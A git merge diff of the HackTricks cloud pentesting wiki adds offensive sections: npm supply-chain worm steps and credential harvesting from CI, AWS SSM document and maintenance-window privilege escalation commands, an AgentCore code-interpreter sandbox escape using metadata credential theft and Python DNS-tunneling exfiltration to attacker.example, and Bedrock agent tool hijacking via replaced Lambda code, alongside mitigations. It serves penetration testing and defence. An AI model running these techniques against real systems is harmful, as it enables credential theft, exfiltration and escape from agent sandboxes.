mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-12 19:11:44 -07:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
This commit is contained in:
@@ -87,6 +87,25 @@ Knowing the 3 flavours to poison a pipeline, lets check what an attacker could o
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
|
||||
### Dependency & Registry Supply-Chain Abuse
|
||||
|
||||
Compromising a CI/CD pipeline or stealing credentials from it can let an attacker move from **pipeline execution** to **ecosystem-wide code execution** by backdooring dependencies or release tooling:
|
||||
|
||||
- **Install-time code execution via package hooks**: publish a package version that adds `preinstall`, `postinstall`, `prepare`, or similar hooks so the payload runs automatically on developer workstations and CI runners during dependency installation.
|
||||
- **Secondary execution paths**: even if targets install with `--ignore-scripts`, a malicious package can still register a **common CLI name** in the `bin` field so the attacker-controlled wrapper is symlinked into `PATH` and executes later when the command is used.
|
||||
- **Runtime bootstrapping**: a small installer can download a second runtime or toolchain during installation (for example Bun or a packed interpreter) and then launch the main payload with it, avoiding local dependency requirements.
|
||||
- **Credential harvesting from build environments**: once code runs inside CI, check environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs, and local tooling such as `gh auth token`. On GitHub Actions, also look for runner-specific secrets and artifacts.
|
||||
- **Workflow injection with stolen GitHub tokens**: a token with **`repo` + `workflow`** permissions is enough to create a branch, commit a malicious file inside `.github/workflows/`, trigger it, collect the produced artifacts/logs, and then delete the temporary branch/workflow run to reduce traces.
|
||||
- **Wormable registry propagation**: stolen npm tokens should be validated for **publish** permissions and whether they bypass 2FA. If they do, enumerate writable packages, download their tarballs, inject a loader such as `setup.mjs`, set `preinstall` to execute it, bump the patch version, and republish. This turns one CI compromise into downstream auto-execution in other environments.
|
||||
|
||||
#### Practical checks during an assessment
|
||||
|
||||
- Review release automation for package-manager hooks added to `package.json`, unexpected `bin` entries, or version bumps that only modify the release artifact.
|
||||
- Check whether CI stores long-lived registry credentials in plaintext files such as `~/.npmrc` instead of using short-lived OIDC or trusted publishing.
|
||||
- Verify whether GitHub tokens available in CI can write workflow files or create branches/tags.
|
||||
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
|
||||
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
@@ -109,6 +128,8 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
|
||||
## References
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
|
||||
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,6 +27,62 @@ aws ssm create-association \
|
||||
> [!NOTE]
|
||||
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
|
||||
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
|
||||
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
|
||||
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
|
||||
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
|
||||
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
+109
@@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by
|
||||
- Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
|
||||
- Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.
|
||||
|
||||
## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
|
||||
|
||||
### Overview
|
||||
|
||||
Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.
|
||||
|
||||
The useful chain is:
|
||||
|
||||
1. Access the microVM metadata endpoint at `169.254.169.254`
|
||||
2. Recover temporary credentials from MMDS if tokenless access is still allowed
|
||||
3. Abuse sandbox DNS recursion as a covert egress path
|
||||
4. Exfiltrate credentials or run a DNS-based control loop
|
||||
|
||||
This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.
|
||||
|
||||
### Main primitives
|
||||
|
||||
#### 1. Runtime SSRF -> MMDS credentials
|
||||
|
||||
AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.
|
||||
|
||||
This recreates the old **IMDSv1 risk model**:
|
||||
|
||||
```bash
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
|
||||
```
|
||||
|
||||
If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path.
|
||||
|
||||
#### 2. Code Interpreter -> MMDS reconnaissance
|
||||
|
||||
Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes:
|
||||
|
||||
- temporary IAM role credentials
|
||||
- instance metadata and tags
|
||||
- internal service plumbing that hints at reachable AWS backends
|
||||
|
||||
Interesting paths from the research:
|
||||
|
||||
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
|
||||
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
|
||||
|
||||
The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline".
|
||||
|
||||
#### 3. Sandbox DNS recursion -> DNS tunneling
|
||||
|
||||
The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.
|
||||
|
||||
Quick validation from inside the interpreter:
|
||||
|
||||
```python
|
||||
import socket
|
||||
|
||||
socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
|
||||
socket.gethostbyname_ex("attacker.example")
|
||||
```
|
||||
|
||||
If attacker-controlled domains resolve, use the query name itself as the transport:
|
||||
|
||||
```python
|
||||
import base64
|
||||
import socket
|
||||
|
||||
data = b"my-secret"
|
||||
label = base64.urlsafe_b64encode(data).decode().rstrip("=")
|
||||
socket.gethostbyname_ex(f"{label}.attacker.example")
|
||||
```
|
||||
|
||||
The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for:
|
||||
|
||||
- MMDS credentials
|
||||
- environment variables
|
||||
- source code
|
||||
- command output
|
||||
|
||||
DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop.
|
||||
|
||||
### Practical post-exploitation chain
|
||||
|
||||
1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
|
||||
2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
|
||||
3. Test whether sandbox/public DNS recursion reaches an attacker domain.
|
||||
4. Chunk and encode credentials into subdomains.
|
||||
5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs.
|
||||
|
||||
For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
|
||||
|
||||
### Pre-signed URL signer identity leak
|
||||
|
||||
The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account:
|
||||
|
||||
```bash
|
||||
aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
|
||||
```
|
||||
|
||||
This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service.
|
||||
|
||||
### Hardening / detection
|
||||
|
||||
- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode.
|
||||
- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**.
|
||||
- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools.
|
||||
- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified.
|
||||
- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/)
|
||||
- [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/)
|
||||
- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/)
|
||||
- [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html)
|
||||
- [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html)
|
||||
- [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html)
|
||||
@@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by
|
||||
- [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
|
||||
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
|
||||
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
|
||||
- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+80
-1
@@ -29,7 +29,7 @@ List interpreters (control-plane) and inspect their configuration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
```
|
||||
|
||||
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
|
||||
|
||||
@@ -108,6 +108,84 @@ awscurl -X POST \
|
||||
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
|
||||
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
|
||||
|
||||
## Amazon Bedrock Agents
|
||||
|
||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
|
||||
|
||||
Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**.
|
||||
|
||||
> [!NOTE]
|
||||
> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- A Bedrock Agent exists with an **action group backed by a Lambda function**
|
||||
- The attacker has:
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `bedrock:InvokeAgent`
|
||||
- The Lambda execution role has broader permissions than the attacker
|
||||
- The attacker can identify the Lambda used by the agent
|
||||
|
||||
#### Recon
|
||||
|
||||
Enumerate agent action groups:
|
||||
|
||||
```bash
|
||||
aws bedrock-agent list-agents
|
||||
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||
```
|
||||
|
||||
Inspect Lambda:
|
||||
|
||||
```bash
|
||||
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
|
||||
|
||||
#### Exploitation
|
||||
|
||||
Replace Lambda code:
|
||||
|
||||
```bash
|
||||
zip payload.zip lambda_function.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
|
||||
Example payload:
|
||||
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
|
||||
Trigger via agent:
|
||||
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
--agent-alias-id <ALIAS_ID> \
|
||||
--session-id test \
|
||||
--input-text "trigger tool"
|
||||
```
|
||||
|
||||
#### Impact
|
||||
|
||||
* **Privilege escalation** into Lambda execution role
|
||||
* **Data exfiltration** from AWS services
|
||||
* **Cross-service abuse** via trusted agent execution
|
||||
|
||||
#### Mitigations
|
||||
|
||||
* **Restrict** `lambda:UpdateFunctionCode`
|
||||
* Use **least-privilege** Lambda roles
|
||||
* **Monitor** Lambda code changes
|
||||
* **Audit** Bedrock agent tool usage
|
||||
|
||||
## References
|
||||
|
||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
@@ -116,6 +194,7 @@ awscurl -X POST \
|
||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -138,6 +138,61 @@ aws ssm create-association \
|
||||
> [!NOTE]
|
||||
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
|
||||
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
|
||||
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
|
||||
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
|
||||
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
|
||||
### Codebuild
|
||||
|
||||
You can also use SSM to get inside a codebuild project being built:
|
||||
|
||||
Reference in New Issue
Block a user